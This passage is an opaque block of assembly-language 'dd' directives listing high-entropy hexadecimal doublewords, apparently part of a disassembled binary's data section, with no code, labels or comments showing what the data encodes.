		dd 34DAE800h, 136BDB5Eh, 1B1500E7h, 0BB713393h,	1CF8D509h
		dd 0CEF77A0Fh, 8D2EC08Ah, 38694F35h, 1109E8A9h,	1D70306h
		dd 0BF736CE4h, 0E829430h, 0E923F572h, 66DDF120h, 0E4606D27h
		dd 48543830h, 0A24E3F2Ah, 0E3AA6500h, 0A928F5EBh, 9457F0C0h
		dd 7E73C16h, 1502FD7Fh,	6090C79Eh, 0EE39B3E0h, 0F1D5B40Ch
		dd 275594Eh, 3820AA62h,	71100710h, 0FED4892Bh, 2C293610h
		dd 0C8E984Bh, 0EC59A6AFh, 0E92C2101h, 31BD9B4h,	0B1C4DF08h
		dd 0FD204EFCh, 0EC04DA21h, 929540F5h, 0B268AE43h, 0DD6C5866h
		dd 8A881D59h, 2DB6C76Dh, 0B580C8CDh, 3813A2C8h,	2284A658h
		dd 2C28AFF5h, 56372C9Ah, 4955B11Fh, 0A53C2C00h,	2AB4B00Dh
		dd 0CFC3FB1h, 4D534ADCh, 0BC00DF50h, 83AE8DF5h,	0B7FE89Bh
		dd 585DBF1Bh, 87954880h, 0D6061135h, 2F60CCC5h,	0C59EC78h
		dd 0E76904E9h, 0C601F3D9h, 0F05D9094h, 2AFD80FAh, 59B8F8h
		dd 47AB37A2h, 0B24CAFAEh, 75251E00h, 61A316B5h,	690C0010h
		dd 0C9B0E933h, 0C6004C59h, 5F5A1541h, 0AE22FAh,	93CFFE29h
		dd 0B713BE7Fh, 4DA40501h, 4CAA945Eh, 46D1FC40h,	3AFF427h
		dd 0D62CFC31h, 0B9029745h, 4789B5D0h, 19E07FE2h, 341416B0h
		dd 39CC2A61h, 1E17868Fh, 0F0D84D7Eh, 0C45054FDh, 0ABB8AB03h
		dd 7478806h, 0A60C3A3Ah, 3D3AC5Eh, 0D0A14BBFh, 0B1EAA01Dh
		dd 0F7E80039h, 50692ADh, 7E0082A3h, 3D89E48Ch, 99738Fh
		dd 22162DDFh, 0D556A1ADh, 25E7CA07h, 1187F7A3h,	0B2FEB0C0h
		dd 338D0735h, 0D03601C0h, 0E650831Ah, 0F828B324h, 0E2FC9032h
		dd 0B1F000E1h, 75F7913h, 9B57C6E7h, 2FB6401Ch, 0D6007035h
		dd 6D4E110Ch, 0FA24E471h, 756100EFh, 0F7FC570Ah, 380C7CE2h
		dd 0F090BC18h, 0E42F01D4h, 0A385609Eh, 81EC47EFh, 3017D3A5h
		dd 793DA704h, 3432A6ABh, 1A65280h, 6535BFh, 4F0AAF38h
		dd 99D5E0C7h, 11D620C0h, 3FAB06C8h, 0EA9E3D5Bh,	58ED5B5Ah
		dd 12F090C7h, 0CC0094E7h, 0FA311D7Ch, 2A7EA029h, 0BC4AB5h
		dd 0D8B2BEC2h, 270C953Dh, 0ACC47703h, 9020B656h, 65D2DAh
		dd 0AB0D9714h, 16646657h, 5523D400h, 4DFDEE6Ch,	58DC92F2h
		dd 0F5013D2Bh, 58DF461Ah, 0FE5AE8E7h, 0E0DBFC00h, 28C08D03h
		dd 57210040h, 43B6944Eh, 0A000EC10h, 32FAE3DBh,	0D55022h
		dd 5FAD4A80h, 4D2AC3B6h, 0A2E2B90Ah, 5800A8CDh,	5E9B678Dh
		dd 8385027Fh, 0B56678BAh, 0D08758C0h, 682E72F8h, 750E14EBh
		dd 0E7244EB2h, 62106965h, 9FB508h, 833DAB32h, 4DE2B1AAh
		dd 4C028901h, 0B6230C7Fh, 55D6B1C3h, 1625D840h,	54130077h
		dd 0C9182B81h, 7C739C68h, 0A7993300h, 90898C22h, 50F00E86h
		dd 8B40C4DDh, 0AA5D9E2Ah, 0D80064F6h, 6ADC97C2h, 50A2B35Bh
		dd 92E4C7h, 7150A46Dh, 0F441ADD5h, 8000AF7Bh, 0F6BB0DEh
		dd 1926101h, 0C78B3B04h, 0D173657Eh, 0FF8DFCE8h, 37DED201h
		dd 4C9C5DA4h, 0EEE0E60h, 0D8912B75h, 0A5255360h, 3D00DA02h
		dd 3AC08B10h, 30DEE3BBh, 82FE6371h, 85007C21h, 0A9989AA1h
		dd 0C98A31h, 0B44A06CCh, 4E8F0901h, 80035970h, 25EDD52h
		dd 0ECA9D813h, 1326FCD6h, 2B1E54h, 798E3321h, 0C9756C73h
		dd 0D286562h, 169D2143h, 0F3970036h, 0E8CC8178h, 97C1AA4h
		dd 0C580D0F6h, 0B2A40D1h, 226EF220h, 85227DD3h,	937A00D5h
		dd 0EF158E0Bh, 0F5806C0Ah, 78666434h, 88C88019h, 8C030D26h
		dd 631A7B50h, 7529180Ch, 0DA7D51FAh, 425BD88h, 471543CCh
		dd 8C70420Dh, 79B10261h, 9DE63020h, 3B150842h, 6B0C49BBh
		dd 0F1B57909h, 9345E300h, 0E0984C00h, 3E12C62Dh, 0AA3D00D9h
		dd 0F5714395h, 0E200B058h, 309B5BD3h, 0FA60A92h, 0C1D64598h
		dd 0D9E8EDC1h, 0E15FDCC0h, 6841A100h, 3CAC0962h, 0C87D4CB1h
		dd 0BC78A800h, 35DF964Ah, 4F1E4303h, 8A76FD94h,	88B80DEh
		dd 0F6830366h, 0B35713D8h, 0A57D0161h, 0F7686E2Ah, 0ED874F80h
		dd 16B91C00h, 3B6B3ADDh, 7C6400A3h, 0F1C796A8h,	6A00C032h
		dd 4B60CA07h, 4DD624h, 0ADDDF6D0h, 697348BDh, 93D1173h
		dd 0AB103EAh, 9081C5F4h, 6C2FFAh, 0C79D8589h, 9F708C96h
		dd 0AE650200h, 6762769Bh, 7EEC000Fh, 8EE01E47h,	0EF00234Ah
		dd 0C62F064Fh, 0E5C58A7h, 47BA9175h, 0BC27AD40h, 11309485h
		dd 8CD87818h, 9D1E0098h, 2F627DFBh, 3B98C601h, 8E53FD00h
		dd 9DA7C5Bh, 3A40077h, 0F73E0FA5h, 0D8004974h, 9FD5F8B4h
		dd 0C0ACCFh, 0DA17EEC9h, 30B37270h, 0E14A500h, 9A4C48C6h
		dd 1DF8E7h, 6C2AEAA9h, 0A5BBFFF6h, 0D1BDD21Eh, 0A403F4C0h
		dd 3CED269Bh, 7180764Eh
		dd 703B5938h, 1100675Bh, 998330D4h, 0F778959Bh,	0FE1CF8h
		dd 0DEB475D9h, 6ADFF0F6h, 0A5887704h, 1AC07CBEh, 16C2253h
		dd 70A01141h, 607AB973h, 0AA00F388h, 0E5D07808h, 1FB5614Bh
		dd 0C4F0AB94h, 805792E4h, 2CC4D1E8h, 0B101F4F4h, 3C119ABCh
		dd 0AFC0D5FBh, 352D1D39h, 0AA7640FAh, 0B878DE42h, 671BF00Fh
		dd 0F8580029h, 48BF9956h, 850005FBh, 459A23C0h,	0E30015BEh
		dd 0D82483B9h, 2997565h, 0AB1FB4A6h, 0D0E0209Bh, 0C5F26048h
		dd 81C8BE06h, 0C83ADh, 4B11CAF5h, 0BFFE3079h, 0A3A13701h
		dd 6DD69C81h, 158B6F0h,	2975A5E5h, 0C02F1185h, 5B005505h
		dd 3CF5AD59h, 18CE99h, 0C40ABEE3h, 5A09F257h, 6C852600h
		dd 9279864Fh, 0F67E0111h, 49E4BFB3h, 0AA53F878h, 0AD0E8200h
		dd 54CE2A55h, 0B341FCCh, 88EE4041h, 2CA3E273h, 0EA1B5B00h
		dd 0CD9A860h, 7A100724h, 402A23F1h, 0D8FF38E3h,	0DA359400h
		dd 8B1DA3C0h, 0A0AC00CCh, 95BA59A8h, 22010C0Eh,	9AC4FC9Bh
		dd 5E20A521h, 28A0E677h, 0C947C5h, 0C88911C1h, 0CD0CE65Dh
		dd 64E0FB0Bh, 3D2D83A2h, 0DD440738h, 30FA9AB0h,	23D95061h
		dd 0ED401701h, 870FFF1Bh, 0F8F430h, 386F05Eh, 0A1C26415h
		dd 0EC41FC00h, 0F3A6D04Fh, 37C0E971h, 78FA0E9Fh, 0FD406BD5h
		dd 0B0F7493Eh, 4C03D890h, 75B60AECh, 84A7A8C0h,	9C600086h
		dd 5C3BCA19h, 40984B22h, 703DF771h, 36C70EC1h, 9D02405Dh
		dd 7866719h, 37B3ECE6h,	0C398E0EDh, 0B77DF96Eh,	0F0CB5B00h
		dd 7E5F8B79h, 558D0006h, 0AF51D9ACh, 57000C21h,	0D8482F0Fh
		dd 0C6FD59h, 98CE8E77h,	0B0AE4217h, 47F13700h, 9D54BD4Fh
		dd 0DF2900F0h, 0D9D6F2AFh, 13003E28h, 0D8DC8AB9h, 21B117h
		dd 416078DDh, 42691D6Eh, 0D92EB31Dh, 7A948602h,	778D8012h
		dd 5C6495h, 1D8FF3AFh, 7B237410h, 3E27E203h, 0C8607AECh
		dd 78351997h, 994002Ch,	10F655D5h, 9498285Eh, 0A930CA00h
		dd 78ACE369h, 59800BEh,	179A25AEh, 0E0004DFCh, 0F610B81Bh
		dd 0F2BFE2ABh, 7AB200BDh, 5A9D1FAAh, 2200A5AFh,	3FA23A38h
		dd 9268BAh, 648B9C31h, 0C52CF3D7h, 3000AFEEh, 3B1FE179h
		dd 446275h, 71217356h, 0EB64AC8Eh, 7B14C900h, 8843C5E8h
		dd 0D55E0067h, 38E2C876h, 26009AB7h, 4BFBEFADh,	1F74CF03h
		dd 40B256B3h, 83E36366h, 620764C3h, 0A98BD9E5h,	0DB240EE0h
		dd 0ADDC00B1h, 5E208148h, 93F0F6A2h, 4B0344F6h,	77937E3h
		dd 343FB0F8h, 4148004Ah, 0B29B9D39h, 0FD00C1CCh, 59C326CAh
		dd 0C7C486h, 0FB5393B8h, 44DA0825h, 0D61D5700h,	724DBAF1h
		dd 0DC9E0160h, 3F515821h, 90ECC18h, 90480F00h, 0D341B657h
		dd 4DFF0071h, 0D8B7A8ADh, 0B40056E5h, 839FBD5Ch, 1EA9AB0Bh
		dd 9CF5EC65h, 0EB694026h, 0DC7214A6h, 84EDCA00h, 0E7EEAA21h
		dd 94A0004Eh, 5E371265h, 0E901F6DDh, 6162BD72h,	5C302475h
		dd 2E5900FBh, 67FCC760h, 0B3002D18h, 0A8C32C95h, 3AAB355Eh
		dd 3D80501Bh, 4F9DD5BFh, 0D10FF1BAh, 47897568h,	0D4B01097h
		dd 262764h, 0E24AEC73h,	172C1D30h, 0E9B0D00h, 27A018DFh
		dd 62B501F2h, 218A4543h, 48D0D45Eh, 8EB84F00h, 9093AAF6h
		dd 4BA90E65h, 758071CAh, 36FA9749h, 0ABEC3300h,	279F8909h
		dd 0B43A002Fh, 382D1E61h, 24777DE5h, 0E2582600h, 0FFF7B809h
		dd 0CA1C3AFEh, 3D48B700h, 8FB322A7h, 0A300F7B0h, 8DD4F51h
		dd 1F5B176Ah, 40D94EB9h, 78F2A5EAh, 0FDB0C0A1h,	0E390DC03h
		dd 90D6E18Ah, 5CC10D42h, 0F43CA202h, 2762F98Eh,	46F56D60h
		dd 765074A1h, 0CB003D9Ch, 2E3618B5h, 0E4B9B2Ah,	915A7BFAh
		dd 124AA5E0h, 7600E146h, 29C9BB8Fh, 0CCA1DBh, 9EA48631h
		dd 0BF04308h, 35F26E00h, 6F41AB96h, 0FB4000BCh,	27D29C52h
		dd 53000AB9h, 0E98EF19h, 78599D90h, 0CA3B0556h,	80E12CE6h
		dd 422395A6h, 79BF7A09h, 343C00F9h, 0EE86E3F0h,	69D30006h
		dd 46436812h, 0FF582F76h, 5DD61C94h, 9D071780h,	4BBC5A1h
		dd 0FA14D778h, 0F71FC057h, 0A61DD9B3h, 50C00346h, 372EB199h
		dd 7DB700A5h, 610FD3EEh, 0E6007B5Eh, 0DBC3BA8Bh, 0DEF9E7h
		dd 19460B8Fh, 47BC0522h, 57519003h, 93662502h, 0EB83A082h
		dd 8FAC0073h, 0DFF83D38h, 0E10081AEh, 5A0CE3DAh, 0FECC0474h
		dd 59320043h, 7DC53AF7h, 0D4F3A612h, 6307D1B2h,	49605F93h
		dd 8A9D9C10h, 0C3FC00A8h, 0DC2B37F5h, 8903F01Dh, 99922744h
		dd 4ADBD8BDh, 98FC001Ch, 0ADB7EE02h, 0A3F26C8h,	5E768047h
		dd 15B4C6D2h, 369871h, 0B2B656F2h, 8F8C8A92h, 3AB3D601h
		dd 0FEB9436Eh, 86D8D0h,	5FF4672h, 5A98B67Ch, 4120BE00h
		dd 3BBC1E3Fh, 0D09000D3h, 9FF30D9Eh, 0CF76CA35h, 252A6001h
		dd 69C93F86h, 4198CCh, 0B31E9294h, 0E85CB8C1h, 48EB5D1Fh
		dd 4CAA2240h, 89EFC5h, 252C8153h, 33591546h, 87FFAF03h
		dd 0A8D76D22h, 7A1D4311h, 5F6203A7h, 0DDD99E2Fh, 244A83A8h
		dd 0ACF61C00h, 0C3F7BCD6h, 22CA00B9h, 0AF1F03CCh, 920016E9h
		dd 3184954Fh, 4C793317h, 0CD02257Fh, 0FD3DDBC6h, 92B8B763h
		dd 9500CBCFh, 0C204A8F8h, 1DE979h, 0FA5A66FFh, 0C4837EE1h
		dd 7AD0E500h, 0B92E20D9h, 0A30F0FF2h, 0F9001CA0h, 0C936A42h
		dd 1786474h, 0BEC72800h, 0E91470E8h, 0F4CD00FFh, 0C663E527h
		dd 800BD73h, 0DC96BB82h, 74A086D2h, 467962h, 0A4FAE2FDh
		dd 2CDF6E27h, 3A8E953Bh, 55BE1EC5h, 0B0FBC843h,	64A0D0B8h
		dd 0E16D036Ch, 0CF10723Ch, 6B8B9BB0h, 0B2FC46F6h, 9C0BBE0Fh
		dd 3211004Fh, 79743F38h, 9FE06Eh, 1CA7EA3h, 0E31EEEC8h
		dd 753D8500h, 0C48FCEDAh, 3F60050h, 740DADF1h, 0A17BE0F8h
		dd 1E18EA00h, 57C7054Fh, 8E6DAh, 0DD99F977h, 84EB56A4h
		dd 2D83A500h, 18ABDBFAh, 292F07ECh, 0B09FFE1Eh,	0EFDB88Fh
		dd 0D7037E90h, 837F26F1h, 1481F004h, 55930F10h,	94A08D86h
		dd 7A07A99Bh, 9EE5E100h, 0EAEF45F4h, 28F374B1h,	0D4C139h
		dd 8129CED5h, 2216FCFDh, 0CC983500h, 0C64FA333h, 0D9AB0074h
		dd 0FD51AC72h, 0B10058C2h, 0AE36E982h, 0EE4C6B9Ah, 0A360F1FFh
		dd 3F277842h, 839C25A8h, 2D7900D6h, 69B847E3h, 7DF13500h
		dd 0A7DCF2B0h, 507E003Fh, 1A6F1043h, 6407200Ch,	786255EDh
		dd 0C29C1600h, 44370083h, 2AD676A5h, 7E5872B8h,	0E37B7E86h
		dd 0F482A00Ah, 79819485h, 3322D152h, 0A9B89017h, 3B0A6474h
		dd 0DD51EF80h, 1ABCD300h, 7C2AF99Ch, 0DA1900C9h, 2C9FF53Eh
		dd 41035EFAh, 34D67049h, 0BAD4C8D0h, 4F593C01h,	0BDAE2B80h
		dd 394EAA81h, 0E8174603h, 97D0183Ah, 48DA0CC2h,	1856DD60h
		dd 11683E7Dh, 4F2ED374h, 850078D9h, 0B90255D6h,	0F44E00EBh
		dd 0CE689D86h, 88602060h, 0A0A2D192h, 4AF50021h, 13BF9A5Ch
		dd 1F00FBD5h, 0F70ACE06h, 12EE93Dh, 4D0DB4A9h, 0E06A5926h
		dd 0F100BC4Fh, 43DA3776h, 7735C36Dh, 0F0AA0086h, 0EF692E2Ah
		dd 2328E19Dh, 0BC80A066h, 4D00021Eh, 0E3E68796h, 0F058D804h
		dd 0B47178h, 0C0360985h, 0E2BD614Ah, 0D7E3510Eh, 3E480062h
		dd 1FA6C8A0h, 81A73384h, 0CCC034F0h, 2941D86Dh,	0BA8BBC3Bh
		dd 0B73C0747h, 70200E55h, 150DBF8h, 78D705BDh, 0F4B0E8E7h
		dd 0C3009BBEh, 35FCF926h, 9FFBC0h, 0C5CF4992h, 7D3CAFE2h
		dd 0F2805501h, 0E34ACA26h, 0D003ECh, 5EC89FAAh,	0CB547418h
		dd 5B0A8800h, 0DA2202D6h, 0BBAF0039h, 0B0433C64h, 1D50A052h
		dd 8A3EE2FCh, 0EA0D8E0h
		dd 2084B7A6h, 0A98C4EC5h, 0A0500044h, 6A51B37Ch, 0E30022D8h
		dd 4B886D68h, 0B01BEF75h, 0B8609F2Fh, 0BFF090h,	0BE64DA2Eh
		dd 267A2Ch, 44EA556Ch, 5E89E847h, 6A5C5000h, 6470C468h
		dd 37755C8Ah, 6700CC3Ah, 0A8499CF9h, 6007DDF3h,	441F2F8Bh
		dd 65CC6970h, 3BE30E74h, 0E7800C8Fh, 0A576E6A3h, 19AFD81Fh
		dd 509EDB80h, 6092235Bh, 395F3CDDh, 0E6000DE4h,	4BE58CD5h
		dd 0B59E8h, 4CA0A62Bh, 0CA769FA5h, 0FC39E300h, 0FA37A98Dh
		dd 0A02F5061h, 0BCB81C7Ch, 98280EEEh, 0B63B5AC0h, 71001C6Ch
		dd 52AC84C2h, 0E90BF4h,	0A97AC951h, 6E6C63D8h, 342E1F00h
		dd 5B42F8B3h, 1187C55h,	0C95411FCh, 0F892205Ah,	31029C41h
		dd 914F8857h, 33DE090h,	0EF8C00BAh, 750C105Eh, 3600E319h
		dd 1EB2AA7Fh, 3403ACh, 0CD402486h, 0AC59188h, 8EC76A00h
		dd 0ECD6BF20h, 0C8870039h, 3CCE0DFFh, 7F00FC59h, 0C95C6217h
		dd 0F3ED86h, 0B5807490h, 75482C06h, 82169100h, 0ABBDEE36h
		dd 71461251h, 260449B3h, 8F818580h, 25003DD2h, 0E5BE6158h
		dd 70049Dh, 9AA7E0Eh, 3172F0F7h, 0BF1DE305h, 0C800020Dh
		dd 298CFD52h, 0D9530030h, 0BC5E951Fh, 0C6002EADh, 7EFCE843h
		dd 1DC25F38h, 0C1841DC5h, 0DFB6D4C0h, 0ACB3DCE6h, 89375600h
		dd 91355A3Fh, 60530C19h, 4C2E4F8Dh, 5600167Eh, 0D87D64F6h
		dd 3B2D2783h, 9C8A2E70h, 1B92885h, 78BDFB08h, 0C95834D2h
		dd 13ED0900h, 2C45199Dh, 9EE001F6h, 55AFC5D4h, 5A477072h
		dd 78262090h, 0E0A05433h, 4DE54903h, 0D896EA94h, 56B2A1h
		dd 0DC7B2822h, 0A323E7EFh, 750050E8h, 316CBC57h, 7E5E08h
		dd 0F3D2A6C4h, 51F85C66h, 38623603h, 0E75DF0B6h, 0A37A8A0h
		dd 147F0116h, 0A9112C74h, 8EB8205Ah, 9A4A5900h,	6751D28Ah
		dd 0F38C2CEBh, 0CD4C0135h, 603D287Ah, 0DD033B14h, 0CB7D0C82h
		dd 0B89EDB78h, 69152B3h, 7EF1A2CEh, 0DD017C41h,	2C92D673h
		dd 0DC4064F0h, 1F87DCEEh, 891BF6D5h, 8082426Eh,	0C0E044C3h
		dd 0CF753565h, 805A5300h, 40D517C6h, 0F030ED6h,	2FCF720Ch
		dd 0ED0ED300h, 8000D85Ah, 5561E0E2h, 4E924h, 79F72007h
		dd 28AB2F7Ah, 8C2BA8F8h, 4F9EC80Bh, 0AAE6ADC0h,	3BA4B0h
		dd 49481476h, 0A3E9D8E0h, 79926C3Ah, 907E51h, 34D5E2BFh
		dd 65009AE0h, 9570A042h, 3A4D7797h, 0FABDC6B6h,	0AFA0704Ch
		dd 3900A218h, 8612D1F8h, 0EEF634Bh, 81112E23h, 0D07734A7h
		dd 0E4611BC3h, 7D601F01h, 55B44875h, 7B200FE1h,	9FE9002Eh
		dd 0EDAFCFDEh, 0C3F20692h, 78675503h, 0B85453FDh, 50BF4B94h
		dd 1E3CA429h, 92DEA8h, 23050725h, 0F571DBBCh, 9300C773h
		dd 9CD91706h, 0ECA5E9h,	6C2CB1D3h, 61139FA0h, 9581FA00h
		dd 4E64DD8Ah, 52ECF9h, 0F77763D4h, 42AF8069h, 39714802h
		dd 60C77417h, 0B0E054h,	0FFD396D7h, 48A45441h, 0EE30BA00h
		dd 0C44250A7h, 80ED4C6Dh, 0A6C7FE00h, 0F0573871h, 784F3603h
		dd 0C0F2C3B0h, 0EE336D4Ah, 3007007Dh, 8B87BB5Eh, 8905055Ch
		dd 8A6698A5h, 4F788300h, 3FAC6486h, 9F8067ADh, 0E8339748h
		dd 0E001640h, 478DDE60h, 1EF3D80h, 0C3738CF7h, 0D8D29D03h
		dd 3B3C2224h, 0C046AEE7h, 57749907h, 8B35A50h, 0AA2A00ECh
		dd 7C2FBAA8h, 1B000BDAh, 0F426308Ah, 314CA7h, 0FA22199Ch
		dd 1FD7CC3Ch, 9DE88F39h, 56E019Dh, 3A7BDF00h, 389E75A5h
		dd 60005218h, 3F81CDC0h, 3800DBADh, 2BE68B1Ah, 13D152Dh
		dd 237D6F55h, 0E84F913Bh, 56F0CE5Fh, 85A7EA39h,	98F81D69h
		dd 164F8440h, 9B33C8h, 85C9B37Ah, 8E87DF0Eh, 0A4AEC8F9h
		dd 467FDC90h, 0CF42ED01h, 2629AC53h, 0BE76A70h,	146E361Fh
		dd 41E11F83h, 0C1E0FFAAh, 2082631h, 0F76945h, 0EFCA25D1h
		dd 0FE00B706h, 3A5C599Ch, 0FEECFD04h, 2E7D3E4Ah, 8885480h
		dd 0B233096Bh, 581F4Ch,	274EE635h, 0ACDD23h, 5822BC80h
		dd 1F472B90h, 32ADE807h, 21973E4h, 40B4BF54h, 32852DFh
		dd 0E1D77486h, 34F355FDh, 0F1A621D0h, 0D272E71Fh, 83BD1680h
		dd 0CDF05Ah, 0EEF2FA4Eh, 0C211042h, 77198F00h, 3B81DCFFh
		dd 0D6B895h, 0C88C9ACEh, 0E3DA0574h, 16E53Bh, 20D52791h
		dd 145A43h, 36E9B547h, 0CD0FC008h, 0DADD6900h, 23A7816Dh
		dd 6EDB0099h, 4C96A42Eh, 60F2835h, 40546891h, 64C44161h
		dd 561700EFh, 4051C23Eh, 200094A1h, 88D9B47Eh, 4652BEh
		dd 0DD26358h, 0FD441329h, 80454238h, 3E4147DCh,	772390Eh
		dd 0F19EAA79h, 0C0DB40CEh, 9058C6F7h, 8C1000B9h, 0F5DF4FE9h
		dd 0A7710B33h, 0C102E585h, 1058B598h, 0BFB0E874h, 0E20E8C77h
		dd 0E48FD2h, 1EAD3034h,	1F71DBh, 4ACFB12Ch, 0E1AE1478h
		dd 9B7AA400h, 0D1E29E09h, 8795002Eh, 0C98A42C0h, 2B1CCD03h
		dd 0D649691Dh, 0F2C46E72h, 94609F75h, 21505A87h, 0CE030FFCh
		dd 0E79AC013h, 0E050F755h, 9B98AEh, 0BC77A661h,	7069228Ah
		dd 0F800B471h, 393D3B73h, 2FCD715h, 9F30E620h, 55E01421h
		dd 56E645A7h, 66744200h, 97A884A4h, 3B5FF063h, 0C78023FDh
		dd 7D688740h, 0D3004CCAh, 91DEED28h, 0BC9930h, 985C97AEh
		dd 0C2BECC8Ah, 73289A00h, 663BA285h, 51B700DBh,	625A7EF4h
		dd 0E82EE20Eh, 6A874492h, 9590C08Ch, 78708677h,	0B6A700DDh
		dd 6E831BF5h, 85078724h, 1C2EFE2Ah, 0A5B13AB0h,	98D6018Bh
		dd 4E0186EEh, 8763C031h, 225A5200h, 60A2AC7Ah, 0BF070554h
		dd 0C1383451h, 0CA32C1F0h, 0C2019C60h, 60F84B59h, 2B2A9354h
		dd 0E36D0015h, 0DD867535h, 4E0005ECh, 807C3DD9h, 0BCF43A8h
		dd 8F2EA22Ah, 0F950EB87h, 8881808Eh, 0E4978306h, 0AE7A1FD3h
		dd 36017A75h, 0B8ABB4D1h, 6BF8D719h, 0C4D500A5h, 0A004FB8Ah
		dd 1D038FEEh, 98229F7Bh, 9950C0A7h, 3B7FC9h, 8A349A9Ch
		dd 0FC4A5AB8h, 745B30C0h, 7CB04D4Fh, 548102FAh,	6B9B0ED8h
		dd 0B3F2F1E0h, 0F62DB63Ch, 14FFF42Ch, 7FA20300h, 2E10235Bh
		dd 4F77CFBh, 0C002C869h, 42EFD45Bh, 0B8C9890Ah,	83009E0Bh
		dd 64B1357Bh, 0F84D002Bh, 2C36201Bh, 770016C3h,	3329D399h
		dd 0E10FCFh, 5C500A95h,	0ECC6DAF5h, 6400017Eh, 55D8717Ch
		dd 2D0D754h, 0E2404C1Dh, 2C405D5Ch, 8BB0B9D5h, 0E1D8B512h
		dd 0D9545C00h, 3E9A5D6h, 6ACBB63Eh, 8FD06C1Eh, 0CFB0B4BBh
		dd 0B88FB01h, 4719AAF8h, 4A52B440h, 0DDB20005h,	0B04BDECCh
		dd 7A005E97h, 0E2BD1E0Ah, 13309299h, 460468h, 0BB5259F9h
		dd 6C006B9Ah, 0C929AA48h, 68A1130h, 0E00AF15Fh,	8007E250h
		dd 0F7C59621h, 0AB1359C0h, 82F100E2h, 0FCE74A3Fh, 6900BCC8h
		dd 5D60B161h, 28E672C4h, 5A1802Ah, 0CC9F9594h, 8BC0347h
		dd 90EFD0DAh, 8BDBF5C5h, 1D00C77Dh, 76C8D877h, 9745E5Dh
		dd 34179B50h, 953FC440h, 61D20300h, 6D7230FEh, 0F77F005Eh
		dd 0BEE11AC5h, 230091F1h, 0A1A556CFh, 36AA0E3h,	40B8EBC2h
		dd 0A788DF83h, 0E60EFE09h, 0E04E25ECh, 5C983520h, 3A1D00A5h
		dd 42E4B7E8h, 4C008D02h, 0BA0D07AAh, 3F825EF5h,	0E200D795h
		dd 0E5A0FB3Dh, 9AF431C5h, 0D307B600h, 8F545D75h, 0F3520158h
		dd 0F566539Eh, 9235EC43h, 1E2B7300h, 86A599FCh,	0AC5100C5h
		dd 5B2026AAh, 8A0E9665h, 6335C040h, 0B85EA9DAh,	755C1E8h
		dd 1883B686h, 0F93F60B0h, 0FF0F24CCh, 807C0454h, 21EA722h
		dd 0F3BA00D8h, 94353A03h, 0CB05326Ch, 0A9620DCEh, 453F60D0h
		dd 0BE200E6h, 426722D0h
		dd 8A90A395h, 0CC99FB00h, 6DAB97C7h, 522A38BFh,	0AFBDA789h
		dd 0C3F4F500h, 6C00C238h, 2AEE3ACh, 7128A03h, 11B4D48h
		dd 2A2B8057h, 0D80EF636h, 0A026BF67h, 0AF5F774Fh, 0BDBEF806h
		dd 0E4550FE1h, 2CB02BBBh, 0CA0F89ECh, 0C0594492h, 0C8468E6Bh
		dd 7AE90083h, 82ACA581h, 0A0000976h, 1469E0CBh,	0CF3B074h
		dd 0D279770Dh, 0C000B4B2h, 934EB515h, 0EE0528h,	0EB1CB58h
		dd 0A3C10C2Ch, 0F9C09000h, 7513A5F4h, 6E4F2h, 60A41173h
		dd 0BB5BEBF6h, 7239D0Bh, 0D0DC042Bh, 7E781880h,	727900C9h
		dd 0D3A97D0Ch, 3BE49F0Dh, 52425C01h, 60860873h,	0E43DCEEDh
		dd 1BD2EC5h, 3246C8E6h,	1776E451h, 3C77C100h, 9552CE18h
		dd 5FBA0C19h, 25389C21h, 0CC4C3600h, 0A1917BADh, 0E93E071Dh
		dd 0A08F4508h, 37A2C939h, 94029300h, 6EE47A2Fh,	21BC00BBh
		dd 6C5D99DBh, 81005BC7h, 0D04CBA97h, 7FB762h, 54DE7201h
		dd 0C39AA8Dh, 0AD16D801h, 3AB84B29h, 0F646860h,	0AA9B7F18h
		dd 5C2DACE0h, 0EB0017D3h, 8AA5966Bh, 618886h, 322BAADEh
		dd 47F15005h, 73104624h, 0ECCFB300h, 1C673A5Bh,	280B0Fh
		dd 43FDD248h, 12006180h, 75581A7Ch, 0F3B713h, 697363C8h
		dd 9B80ADCAh, 612A7B1Dh, 6FF09040h, 4CF65h, 21A37FFBh
		dd 0BE052701h, 0C22C0930h, 3E79024Fh, 22808224h, 0C92F217h
		dd 687D2B9Dh, 0E074A0Fh, 7F38CB29h, 2A78D400h, 1600F589h
		dd 3DA44099h, 0CB2EACh,	0A18D59C1h, 0F5227F2Dh,	509A84A8h
		dd 0BBBE1700h, 0E0ACC89h, 0B5E500ECh, 70FFA48h,	0AA0E4E2Fh
		dd 0C002D4E2h, 297842E3h, 3EC60021h, 9CDD4325h,	0CC7366B5h
		dd 8422E400h, 1DFF1397h, 347000DAh, 329CB768h, 0C9137A2Bh
		dd 7100C3ACh, 2874F624h, 0EDC80020h, 0B3FA60Eh,	0C200E262h
		dd 0B8154384h, 0C16956h, 0FA227C08h, 2C88F596h,	85ABB300h
		dd 37D4957Dh, 267F80Eh,	0AA7B568Ah, 0AFC02962h,	24F45E87h
		dd 19E0D500h, 16711546h, 9B5900E8h, 200E1A03h, 0D9392565h
		dd 9C281797h, 10A16600h, 0B0F4C157h, 95EF00C7h,	271B0876h
		dd 7B00E0C5h, 38BBAC21h, 342475Dh, 23742612h, 0D4D02C6Eh
		dd 0BD48696Ch, 0B2F3CD4h, 71942Eh, 95FF231Dh, 71B9832h
		dd 0B8F382A6h, 0D81E6C0Eh, 60041403h, 3F95DE8h,	2539AE70h
		dd 80D789ACh, 49D8A1B3h, 0D9995502h, 60BC1C10h,	0C0AE7FCAh
		dd 0CE427720h, 0A7006184h, 5FBB4A8Fh, 9AD32h, 0A3F4E875h
		dd 85C8C6BFh, 94613F00h, 9BD1E34Ah, 74350037h, 0DA509834h
		dd 0B00BC16h, 44C94CFFh, 0FE20433h, 76931D9Ah, 40B741C5h
		dd 9EC63158h, 0B92CAE77h, 5E0087B3h, 0E86A4FE3h, 0B4D73D97h
		dd 8A3CFB5Ch, 9AEE1800h, 0B3D861B0h, 1F515B00h,	7FA504E0h
		dd 0F184608Fh, 0D7B3AE7h, 0EF183Dh, 0DD92C0A2h,	61208Ah
		dd 71AA394Eh, 0A41DB302h, 0C4B80700h, 0B7300455h, 6C9009Dh
		dd 168268AFh, 311F9E4Eh, 0EC82CA3Dh, 401FAE04h,	18C919h
		dd 5F49BB82h, 81A42156h, 0A5274200h, 0B26DAD30h, 0F80FA6Ch
		dd 506EE9F9h, 3843BB60h, 441D99ACh, 55802905h, 248969DFh
		dd 6DB5002Bh, 5698736Bh, 0F198947Ah, 0BCC2A400h, 275BB25Fh
		dd 474B0024h, 74659C3h,	86001B4Ch, 0A8E0D7F7h, 5C2EDA79h
